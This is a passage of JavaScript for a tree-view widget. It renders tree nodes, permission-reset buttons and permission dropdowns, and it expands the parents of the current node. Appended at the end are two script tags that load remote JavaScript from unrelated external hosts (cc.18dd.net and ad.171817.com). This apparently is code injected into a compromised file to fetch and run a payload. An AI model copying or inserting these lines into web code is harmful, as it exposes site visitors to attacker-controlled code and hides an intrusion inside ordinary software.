    if(isElement){
        str += "<span class='"+buttonClass+"' style=\"float:right;visibility:hidden;\" id=\""+this.id+"SetChildButton\" >"; 
    }else{
        str += "<span class='"+buttonClass+"' style=\"float:right;position:relative;z-index:10;\" id=\""+this.id+"SetChildButton\">";
    }
    if(GlobalVariable.ie){
    str +="<ul style=\"position:absolute;top:20px;right:0px;display:none;\">";
    }else{
    str +="<ul style=\"position:absolute;top:10px;right:0px;display:none;\">";
    }
    str +="</ul>";
    str += "<a href=\"#\" onclick=\""+this.action+"\"><div class='but_left'></div><span class='text'><bean:message key='common.permission.label_Reset_Child_To'/></span><div class='but_right_arrow'></div></a></span>";
    if(!isForm){
      str += "<div style=\"float:right;margin-right:10px;\"><select id=\""+this.id+"PermissionSelectBox\" class=\"form-style-2-short-pulldown\" style=\"width:120px;\" onchange=\"getSelectBoxPermission(\'"+this.realID+"\',this.options[selectedIndex].value)\" "+selectStatus+" >"+this.selectBox+"</select></div>";
    }
    str += "</div></div>";
  }else {
  
    str = "<div id=\"" + this.id + "\" ondblclick=\"webFXTreeHandler.toggle(this);\" class=\"dTreeNode\" onkeydown=\"return webFXTreeHandler.keydown(this, event)\">" +
    indent +
    "<img id=\"" + this.id + "-plus\" src=\"" + ((this.folder)?((this.open)?((this.parentNode._last)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.tMinusIcon):((this.parentNode._last)?webFXTreeConfig.lPlusIcon:webFXTreeConfig.tPlusIcon)):((this.parentNode._last)?webFXTreeConfig.lIcon:webFXTreeConfig.tIcon)) + "\" onclick=\"webFXTreeHandler.toggle(this);\">" +
    "<img id=\"" + this.id + "-icon\" class=\"webfx-tree-icon\" src=\"" + ((this.realID == webFXTreeHandler.currentID || (webFXTreeHandler.behavior == 'classic' && this.open))?this.openIcon:this.icon) + "\" onclick=\"webFXTreeHandler.select(this);\">" ;
    str += " <a href=\"" + this.action + "\"" + (this.realID == webFXTreeHandler.currentID && this.icon == webFXTreeConfig.folderIcon ? " class=\"nodeSel\" " : " class=\"node\" ") + " id=\"" + this.id + "-anchor\" onfocus=\"webFXTreeHandler.focus(this);\" onblur=\"webFXTreeHandler.blur(this);\"" +
           (this.target ? " target=\"" + this.target + "\"" : "") +
           ">";
    str += label + "</a></div>";       
  } 
  
  str += "<div id=\"" + this.id + "-cont\" class=\"webfx-tree-container\" style=\"display: " + ((this.open)?'block':'none') + ";\">";
  var sb = [];
  for (var i = 0; i < this.childNodes.length; i++) {
    sb[i] = this.childNodes[i].toString(i,this.childNodes.length);
  }
  this.plusIcon = ((this.parentNode._last)?webFXTreeConfig.lPlusIcon:webFXTreeConfig.tPlusIcon);
  this.minusIcon = ((this.parentNode._last)?webFXTreeConfig.lMinusIcon:webFXTreeConfig.tMinusIcon);
  return str + sb.join("") + "</div>";
}

function findCurrentNodeAndExpandParent(parent){
 if(parent){
   for (var i = 0; i < parent.childNodes.length; i++) {
	 var currNode = parent.childNodes[i];
	 if(currNode.realID == webFXTreeHandler.currentID){
	   if(currNode.parentNode){
	     expandParentNode(currNode.parentNode);
	   }
	 }else{
	   findCurrentNodeAndExpandParent(currNode);
	 }
   }
  }
}
  
function expandParentNode(parent){
  if(parent){
    parent.doExpand();
  }
  if(parent.parentNode){
    expandParentNode(parent.parentNode);
  }
}

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>